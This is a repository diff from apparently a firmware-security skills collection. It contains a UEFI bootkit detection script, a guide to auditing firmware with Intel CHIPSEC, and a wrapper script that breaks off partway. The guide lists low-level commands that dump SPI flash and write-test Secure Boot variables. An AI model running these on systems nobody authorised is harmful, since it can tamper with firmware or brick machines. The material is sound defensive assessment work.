print(f" [!] {ss['description']}: \"{ss['pattern']}\" "
|
||||
f"({ss['occurrences']} occurrences)")
|
||||
for off in ss["offsets"]:
|
||||
print(f" at {off}")
|
||||
|
||||
# Entropy analysis
|
||||
print("\n--- Firmware Entropy Analysis ---")
|
||||
emap = firmware_entropy_map(target_path, block_size=16384)
|
||||
region_counts = Counter(e["classification"] for e in emap)
|
||||
for classification, count in region_counts.most_common():
|
||||
print(f" {classification}: {count} blocks")
|
||||
|
||||
elif target_type == "esp" and os.path.isdir(target_path):
|
||||
print(f"\n[*] Analyzing ESP mount point: {target_path}")
|
||||
|
||||
# ESP analysis
|
||||
print("\n--- ESP Partition Analysis ---")
|
||||
findings, efi_files = scan_esp_partition(target_path)
|
||||
print(f" Total EFI binaries: {len(efi_files)}")
|
||||
for ef in efi_files:
|
||||
print(f" {ef['path']} ({ef['size']} bytes) SHA-256={ef['sha256'][:16]}...")
|
||||
|
||||
if findings:
|
||||
print("\n--- Bootkit Indicators ---")
|
||||
for f in findings:
|
||||
print(f" [{f['severity']}] {f['message']}")
|
||||
else:
|
||||
print("\n No bootkit indicators found on ESP.")
|
||||
|
||||
else:
|
||||
print(f"\n[ERROR] Invalid target: {target_path} (type={target_type})")
|
||||
return
|
||||
|
||||
# Known bootkit reference
|
||||
print("\n--- Known UEFI Bootkit Families ---")
|
||||
for name, info in KNOWN_BOOTKITS.items():
|
||||
print(f" {name}: {info['description']}")
|
||||
print(f" Persistence: {info['persistence']}")
|
||||
print(f" MITRE: {info['mitre']}")
|
||||
|
||||
print("\n[*] Analysis complete.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(
|
||||
description="UEFI bootkit persistence analysis agent for detecting firmware "
|
||||
"implants, ESP modifications, Secure Boot bypasses, and UEFI "
|
||||
"variable manipulation.",
|
||||
epilog="Authorized use only. Requires appropriate system access for firmware analysis.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"target",
|
||||
help="Path to a firmware dump (.rom, .bin) or a mounted ESP directory",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--type", "-t",
|
||||
choices=["firmware", "esp", "auto"],
|
||||
default="auto",
|
||||
help="Target type: 'firmware' for SPI flash dumps, 'esp' for mounted ESP "
|
||||
"partition, 'auto' to detect (default: auto)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--check-secureboot", "-s",
|
||||
action="store_true",
|
||||
help="Check Secure Boot status on the local system (Linux efivarfs)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--run-chipsec-audit", "-c",
|
||||
action="store_true",
|
||||
help="Run comprehensive chipsec firmware security audit modules",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--baseline", "-b",
|
||||
type=str, default=None,
|
||||
help="Path to known-good firmware baseline for comparison",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--json-output", "-j",
|
||||
action="store_true",
|
||||
help="Output results in JSON format instead of text",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--list-bootkits",
|
||||
action="store_true",
|
||||
help="List all known UEFI bootkit families in the database and exit",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
print(DISCLAIMER)
|
||||
|
||||
if args.list_bootkits:
|
||||
print("Known UEFI Bootkit Families:")
|
||||
print("-" * 50)
|
||||
for name, info in KNOWN_BOOTKITS.items():
|
||||
print(f"\n {name}")
|
||||
print(f" {info['description']}")
|
||||
print(f" Persistence: {info['persistence']}")
|
||||
print(f" MITRE ATT&CK: {info['mitre']}")
|
||||
if info.get("cve"):
|
||||
print(f" CVE: {info['cve']}")
|
||||
sys.exit(0)
|
||||
|
||||
target_type = args.type
|
||||
if target_type == "auto":
|
||||
target_type = "esp" if os.path.isdir(args.target) else "firmware"
|
||||
|
||||
analyze_uefi_bootkit(args.target, target_type)
|
||||
|
||||
if args.check_secureboot:
|
||||
print("\n--- Local Secure Boot Status ---")
|
||||
sb_status = check_secure_boot_status()
|
||||
for k, v in sb_status.items():
|
||||
print(f" {k}: {v}")
|
||||
|
||||
if args.run_chipsec_audit:
|
||||
print("\n--- Chipsec Firmware Security Audit ---")
|
||||
audit_results = run_firmware_security_audit()
|
||||
for module, result in audit_results.items():
|
||||
status = "PASSED" if result.get("passed") else "FAILED" if result.get("failed") else "UNKNOWN"
|
||||
print(f" [{status}] {module}: {result.get('description', '')}")
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,209 @@
|
||||
---
|
||||
name: auditing-uefi-firmware-with-chipsec
|
||||
description: Use Intel CHIPSEC to assess platform firmware configuration, SPI flash write protection, BIOS lock, SMM/SMRR, and Secure Boot variable state, dump SPI flash, and triage UEFI variables for firmware-level threats.
|
||||
domain: cybersecurity
|
||||
subdomain: hardware-firmware-security
|
||||
tags:
|
||||
- hardware-firmware-security
|
||||
- uefi
|
||||
- chipsec
|
||||
- spi-flash
|
||||
- bios-write-protection
|
||||
- secure-boot
|
||||
- firmware-assessment
|
||||
- platform-security
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- ID.AM-02
|
||||
mitre_attack:
|
||||
- T1542.001
|
||||
---
|
||||
# Auditing UEFI Firmware with CHIPSEC
|
||||
|
||||
> **Authorized Use Only:** CHIPSEC loads a kernel driver and reads/writes low-level hardware registers, SPI flash, and SMM. Run it only on systems you own or are explicitly authorized to assess, ideally on dedicated test hardware. Misuse (especially write/modify modules) can brick a machine. Never run write-capable modules on production systems.
|
||||
|
||||
## Overview
|
||||
|
||||
CHIPSEC is the open-source **Platform Security Assessment Framework** created by Intel's Advanced Threat Research team. It inspects the low-level security configuration of x86 platform firmware and hardware — the layer below the operating system where bootkits and firmware implants live. CHIPSEC loads a signed kernel driver (Linux, Windows, or it can run from the UEFI shell) to read and write hardware registers, Model-Specific Registers (MSRs), PCI config space, SPI flash, and UEFI variables, then runs an automated test suite that checks whether the platform's defensive locks are actually engaged.
|
||||
|
||||
The threat CHIPSEC addresses is MITRE ATT&CK **T1542.001 — Pre-OS Boot: System Firmware**: adversaries who modify system firmware (the BIOS/UEFI image on SPI flash) to gain stealthy, persistent, OS-survivable control. Firmware implants persist across OS reinstall and disk replacement and are invisible to most EDR. CHIPSEC's value is verifying the *prerequisites* that prevent such implants: that the SPI flash BIOS region is write-protected (BIOS_CNTL `BLE`/`SMM_BWP`, SPI Protected Ranges), that the flash descriptor locks region access, that SMRAM/SMRR are configured, and that Secure Boot variables are protected. It also dumps the SPI flash for offline forensic comparison.
|
||||
|
||||
Sources: Intel/CHIPSEC project (https://github.com/chipsec/chipsec), CHIPSEC documentation (https://chipsec.github.io/).
|
||||
|
||||
## When to Use
|
||||
|
||||
- Baseline firmware-security assessment of a new laptop/server platform or fleet image
|
||||
- Verifying that BIOS write protection and SPI flash locks are correctly enabled by the OEM
|
||||
- Firmware forensics: dumping SPI flash to compare against a known-good image
|
||||
- Validating Secure Boot variable protection and S3 boot-script protection
|
||||
- Hunting for evidence of a firmware implant or misconfiguration enabling one
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Physical or admin/root access to the target x86 platform (Intel or AMD)
|
||||
- Linux (root) or Windows (Administrator), or a UEFI shell environment
|
||||
- Ability to load a kernel driver (Secure Boot may need to allow the CHIPSEC driver, or use `--no_driver` for limited checks)
|
||||
- Python 3.8+ and a C compiler/build tools for the kernel module on Linux
|
||||
- Dedicated test hardware strongly recommended
|
||||
|
||||
Install CHIPSEC:
|
||||
|
||||
```bash
|
||||
# From PyPI
|
||||
pip install chipsec
|
||||
|
||||
# Or from source (builds the kernel helper/driver)
|
||||
git clone https://github.com/chipsec/chipsec
|
||||
cd chipsec
|
||||
python setup.py install # builds and installs, including the Linux driver
|
||||
|
||||
# Verify
|
||||
sudo chipsec_main --help
|
||||
sudo chipsec_util --help
|
||||
```
|
||||
|
||||
## Objectives
|
||||
|
||||
- Run the full automated platform-security test suite and interpret PASS/FAIL/WARNING
|
||||
- Verify BIOS write protection (BIOS_CNTL) and SPI Protected Ranges
|
||||
- Verify the SPI flash descriptor locks region read/write access
|
||||
- Verify SMRAM/SMRR and SMI handler protections
|
||||
- Verify Secure Boot variable protection and S3 boot-script protection
|
||||
- Dump SPI flash and decode it for offline analysis
|
||||
- Enumerate UEFI variables and detect anomalous/unexpected entries
|
||||
|
||||
## MITRE ATT&CK Mapping
|
||||
|
||||
| Technique ID | Name | Tactic |
|
||||
|--------------|------|--------|
|
||||
| T1542.001 | Pre-OS Boot: System Firmware | Persistence / Defense Evasion |
|
||||
|
||||
CHIPSEC defends against T1542.001 by verifying that the controls preventing unauthorized firmware modification are enabled. A FAIL on `common.bios_wp` (BIOS not write-protected) or `chipsec.modules.common.spi_lock` (flash descriptor unlocked) means an attacker with OS privileges could rewrite the SPI flash and implant persistent firmware — exactly the precondition for this technique.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Run the full automated test suite
|
||||
`chipsec_main` with no module argument runs every applicable security check for the detected platform and prints a summary of PASS/FAIL/WARNING/INFORMATION results.
|
||||
|
||||
```bash
|
||||
sudo chipsec_main
|
||||
|
||||
# Save machine-readable output for reporting / diffing
|
||||
sudo chipsec_main -j results.json -x results.xml -l chipsec.log
|
||||
```
|
||||
|
||||
### Step 2: Run the core firmware-protection modules individually
|
||||
The `common` module group contains the OEM-independent security checks. Run the group or specific modules:
|
||||
|
||||
```bash
|
||||
# Run the whole common group
|
||||
sudo chipsec_main -m common
|
||||
|
||||
# BIOS write protection: checks BIOS_CNTL BLE/SMM_BWP and SPI protected ranges
|
||||
sudo chipsec_main -m common.bios_wp
|
||||
|
||||
# SPI flash descriptor lock (FLOCKDN) — are flash region accesses locked?
|
||||
sudo chipsec_main -m common.spi_lock
|
||||
|
||||
# SMRR programming — protects SMRAM from cache-based attacks
|
||||
sudo chipsec_main -m common.smrr
|
||||
|
||||
# SMM BIOS write protection
|
||||
sudo chipsec_main -m common.smm
|
||||
|
||||
# S3 resume boot-script protection (against bootscript table attacks)
|
||||
sudo chipsec_main -m common.uefi.s3bootscript
|
||||
```
|
||||
|
||||
### Step 3: Verify Secure Boot variable protection
|
||||
```bash
|
||||
# Checks that Secure Boot UEFI variables are properly protected
|
||||
sudo chipsec_main -m common.secureboot.variables
|
||||
|
||||
# To actively test write protection of the variables (test hardware ONLY):
|
||||
sudo chipsec_main -m common.secureboot.variables -a modify
|
||||
```
|
||||
|
||||
### Step 4: Inspect SPI flash region access permissions
|
||||
```bash
|
||||
# Report SPI flash regions, descriptor, and access permissions
|
||||
sudo chipsec_util spi info
|
||||
|
||||
# Check the SPI access-control module
|
||||
sudo chipsec_main -m common.spi_access
|
||||
```
|
||||
|
||||
### Step 5: Dump SPI flash for offline forensics
|
||||
Dumping the flash lets you decode the firmware volumes and compare against a known-good OEM image.
|
||||
|
||||
```bash
|
||||
# Dump the entire SPI flash to a file
|
||||
sudo chipsec_util spi dump rom.bin
|
||||
|
||||
# Decode the dumped image: extracts firmware volumes, files, NVRAM variables, etc.
|
||||
sudo chipsec_util decode rom.bin
|
||||
```
|
||||
|
||||
### Step 6: Enumerate and triage UEFI variables
|
||||
```bash
|
||||
# List all UEFI variables from the runtime interface
|
||||
sudo chipsec_util uefi var-list
|
||||
|
||||
# List variables directly from the SPI image (offline)
|
||||
sudo chipsec_util uefi var-find PK
|
||||
sudo chipsec_util uefi var-read db <GUID> db.bin
|
||||
|
||||
# Decode the UEFI firmware structure
|
||||
sudo chipsec_util uefi decode rom.bin
|
||||
```
|
||||
|
||||
### Step 7: Limited assessment without a kernel driver
|
||||
Where loading the driver is impossible (locked-down Secure Boot), some checks still run read-only.
|
||||
|
||||
```bash
|
||||
sudo chipsec_main -n # --no_driver: skip checks that need the driver
|
||||
sudo chipsec_main -p <PLATFORM> # force platform code if auto-detect fails
|
||||
```
|
||||
|
||||
### Step 8: Triage results and report
|
||||
- **FAIL** on `bios_wp` / `spi_lock` → firmware is rewritable from the OS: high risk for T1542.001.
|
||||
- **FAIL** on `secureboot.variables` → Secure Boot policy can be tampered.
|
||||
- Compare the `spi dump` against the OEM's known-good image (hash firmware volumes) to detect unauthorized modification.
|
||||
- Record platform, BIOS version, and every FAIL/WARNING with the relevant register values for the report.
|
||||
|
||||
## Tools and Resources
|
||||
|
||||
| Tool | Purpose | Source |
|
||||
|------|---------|--------|
|
||||
| chipsec_main | Automated platform-security test suite | https://github.com/chipsec/chipsec |
|
||||
| chipsec_util | Manual hardware/firmware access (spi, uefi, decode) | https://chipsec.github.io/ |
|
||||
| UEFITool | GUI/CLI parsing of dumped UEFI images | https://github.com/LongSoft/UEFITool |
|
||||
| Binarly fwhunt | Firmware vulnerability/implant hunting rules | https://github.com/binarly-io/fwhunt-scan |
|
||||
| NSA UEFI Secure Boot guidance | Hardening reference | https://media.defense.gov/ |
|
||||
|
||||
## Core Module Reference
|
||||
|
||||
| Module | Checks |
|
||||
|--------|--------|
|
||||
| common.bios_wp | BIOS_CNTL BLE / SMM_BWP and SPI Protected Ranges |
|
||||
| common.spi_lock | SPI flash descriptor FLOCKDN |
|
||||
| common.spi_access | SPI flash region read/write permissions |
|
||||
| common.smrr | System Management Range Registers programming |
|
||||
| common.smm | SMM BIOS write protection |
|
||||
| common.secureboot.variables | Secure Boot variable protection |
|
||||
| common.uefi.s3bootscript | S3 resume boot-script protection |
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- [ ] CHIPSEC installed and driver loads (or `-n` documented if not)
|
||||
- [ ] Full `chipsec_main` suite executed with JSON/XML/log output saved
|
||||
- [ ] `common.bios_wp` result interpreted (write protection state)
|
||||
- [ ] `common.spi_lock` / `spi_access` result interpreted (descriptor lock)
|
||||
- [ ] SMRR/SMM module results recorded
|
||||
- [ ] Secure Boot variable protection checked
|
||||
- [ ] SPI flash dumped and decoded for offline analysis
|
||||
- [ ] UEFI variables enumerated and triaged
|
||||
- [ ] All FAIL/WARNING findings documented with platform/BIOS version
|
||||
- [ ] Write/modify modules NOT run on production hardware
|
||||
@@ -0,0 +1,52 @@
|
||||
# Command Reference - CHIPSEC
|
||||
|
||||
## chipsec_main (test suite)
|
||||
|
||||
| Command / Flag | Purpose |
|
||||
|----------------|---------|
|
||||
| `chipsec_main` | Run all applicable security modules for the platform |
|
||||
| `-m, --module <name>` | Run a specific module, e.g. `-m common.bios_wp` |
|
||||
| `-m common` | Run the whole OEM-independent module group |
|
||||
| `-mx <modules>` | Exclude listed modules |
|
||||
| `-a, --module_args` | Pass arguments to a module (e.g. `-a modify`) |
|
||||
| `-p, --platform <code>` | Force platform code when auto-detect fails |
|
||||
| `-n, --no_driver` | Skip checks requiring the kernel driver |
|
||||
| `-l, --log <file>` | Write output to a log file |
|
||||
| `-j, --json <file>` | JSON results output |
|
||||
| `-x, --xml <file>` | JUnit-style XML results output |
|
||||
| `-v / -vv / -d` | Verbose / very verbose / debug logging |
|
||||
|
||||
## Key security modules
|
||||
|
||||
| Module | Checks |
|
||||
|--------|--------|
|
||||
| `common.bios_wp` | BIOS_CNTL BLE / SMM_BWP and SPI Protected Ranges |
|
||||
| `common.spi_lock` | SPI flash descriptor FLOCKDN lock |
|
||||
| `common.spi_access` | SPI flash region access permissions |
|
||||
| `common.smrr` | SMRR programming (SMRAM cache protection) |
|
||||
| `common.smm` | SMM BIOS write protection |
|
||||
| `common.secureboot.variables` | Secure Boot variable protection (`-a modify` to test writes) |
|
||||
| `common.uefi.s3bootscript` | S3 resume boot-script protection |
|
||||
|
||||
## chipsec_util (manual access)
|
||||
|
||||
| Command | Purpose |
|
||||
|---------|---------|
|
||||
| `chipsec_util spi info` | Report SPI flash regions/descriptor/permissions |
|
||||
| `chipsec_util spi dump rom.bin` | Dump entire SPI flash to file |
|
||||
| `chipsec_util spi read <addr> <len> out.bin` | Read SPI flash range |
|
||||
| `chipsec_util decode rom.bin` | Decode dumped image into volumes/files/variables |
|
||||
| `chipsec_util uefi var-list` | List UEFI variables (runtime) |
|
||||
| `chipsec_util uefi var-find <name>` | Find a UEFI variable |
|
||||
| `chipsec_util uefi var-read <name> <GUID> out.bin` | Read a variable |
|
||||
| `chipsec_util uefi decode rom.bin` | Decode UEFI firmware structure from image |
|
||||
| `chipsec_util platform` | Show detected platform info |
|
||||
|
||||
## Result interpretation
|
||||
|
||||
| Result | Meaning |
|
||||
|--------|---------|
|
||||
| PASSED | Protection is correctly enabled |
|
||||
| FAILED | Protection missing/misconfigured — exploitable |
|
||||
| WARNING | Potential issue / needs manual review |
|
||||
| INFORMATION | Informational, no pass/fail |
|
||||
@@ -0,0 +1,29 @@
|
||||
# Standards and References - Auditing UEFI Firmware with CHIPSEC
|
||||
|
||||
## MITRE ATT&CK
|
||||
|
||||
| Technique ID | Name | Tactic | Rationale |
|
||||
|--------------|------|--------|-----------|
|
||||
| T1542.001 | Pre-OS Boot: System Firmware | Persistence / Defense Evasion | CHIPSEC verifies the SPI flash and BIOS write-protection locks whose absence enables adversaries to modify system firmware for stealthy, OS-survivable persistence. |
|
||||
|
||||
## NIST Cybersecurity Framework 2.0
|
||||
|
||||
| ID | Name | Rationale |
|
||||
|----|------|-----------|
|
||||
| ID.AM-02 | Inventories of software, services, and systems managed by the organization are maintained | Firmware version, SPI flash image, and platform-security configuration are part of the asset/software inventory that CHIPSEC enumerates and baselines. |
|
||||
|
||||
## Official Resources
|
||||
|
||||
- CHIPSEC project: https://github.com/chipsec/chipsec
|
||||
- CHIPSEC documentation: https://chipsec.github.io/
|
||||
- Running CHIPSEC: https://chipsec.github.io/usage/Running-Chipsec.html
|
||||
- common.bios_wp module: https://chipsec.github.io/modules/
|
||||
- common.secureboot.variables module docs
|
||||
- UEFITool: https://github.com/LongSoft/UEFITool
|
||||
- Binarly fwhunt-scan: https://github.com/binarly-io/fwhunt-scan
|
||||
|
||||
## Key Research
|
||||
|
||||
- Intel ATR: original CHIPSEC framework and BlackHat arsenal presentations
|
||||
- "Exploring Your System Deeper with CHIPSEC" (CSW)
|
||||
- NSA UEFI Secure Boot Customization / firmware hardening guidance
|
||||
@@ -0,0 +1,141 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
chipsec-audit — run a CHIPSEC firmware-posture baseline and parse results.
|
||||
|
||||
Wraps the real CHIPSEC CLIs:
|
||||
- chipsec_main : module runner
|
||||
- chipsec_util : SPI/UEFI utilities
|
||||
Project: https://github.com/chipsec/chipsec
|
||||
|
||||
Install:
|
||||
pip install chipsec # needs root and a kernel driver build
|
||||
|
||||
Examples:
|
||||
sudo python agent.py baseline --log chipsec.log --json report.json
|
||||
sudo python agent.py module --name common.bios_wp
|
||||
sudo python agent.py dump --out rom.bin
|
||||
"""
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
# CHIPSEC prints lines like: [+] PASSED: BIOS region write protection ...
|
||||
RESULT_RE = re.compile(r"\[[+\-!*]\]\s*(PASSED|FAILED|WARNING|ERROR|NOT APPLICABLE|INFORMATION)\b[:\s]*(.*)",
|
||||
re.IGNORECASE)
|
||||
|
||||
CORE_MODULES = [
|
||||
"common.bios_wp",
|
||||
"common.spi_lock",
|
||||
"common.spi_desc",
|
||||
"common.smm",
|
||||
"common.secureboot.variables",
|
||||
]
|
||||
|
||||
|
||||
def _require(tool: str) -> None:
|
||||
if shutil.which(tool) is None:
|
||||
sys.exit(f"error: '{tool}' not found on PATH. Install CHIPSEC: pip install chipsec")
|
||||
|
||||
|
||||
def _warn_root() -> None:
|
||||
if hasattr(os, "geteuid") and os.geteuid() != 0:
|
||||
print("[!] warning: CHIPSEC needs root/Administrator to load its driver.", file=sys.stderr)
|
||||
|
||||
|
||||
def _run(argv: list) -> subprocess.CompletedProcess:
|
||||
print(f"[*] {' '.join(argv)}", file=sys.stderr)
|
||||
return subprocess.run(argv, capture_output=True, text=True)
|
||||
|
||||
|
||||
def parse_results(stdout: str) -> list:
|
||||
findings = []
|
||||
for line in stdout.splitlines():
|
||||
m = RESULT_RE.search(line)
|
||||
if m:
|
||||
findings.append({"result": m.group(1).upper(), "detail": m.group(2).strip()})
|
||||
return findings
|
||||
|
||||
|
||||
def cmd_baseline(args) -> int:
|
||||
_require("chipsec_main")
|
||||
_warn_root()
|
||||
argv = ["chipsec_main"]
|
||||
if args.log:
|
||||
argv += ["-l", args.log]
|
||||
proc = _run(argv)
|
||||
findings = parse_results(proc.stdout)
|
||||
fails = [f for f in findings if f["result"] in ("FAILED", "ERROR")]
|
||||
warns = [f for f in findings if f["result"] == "WARNING"]
|
||||
summary = {
|
||||
"total_results": len(findings),
|
||||
"failed": len(fails),
|
||||
"warnings": len(warns),
|
||||
"failures": fails,
|
||||
"warning_items": warns,
|
||||
}
|
||||
if args.json:
|
||||
with open(args.json, "w", encoding="utf-8") as fh:
|
||||
json.dump({"summary": summary, "all": findings}, fh, indent=2)
|
||||
print(f"[+] report written to {args.json}", file=sys.stderr)
|
||||
print(json.dumps(summary, indent=2))
|
||||
return 1 if fails else 0
|
||||
|
||||
|
||||
def cmd_module(args) -> int:
|
||||
_require("chipsec_main")
|
||||
_warn_root()
|
||||
targets = [args.name] if args.name else CORE_MODULES
|
||||
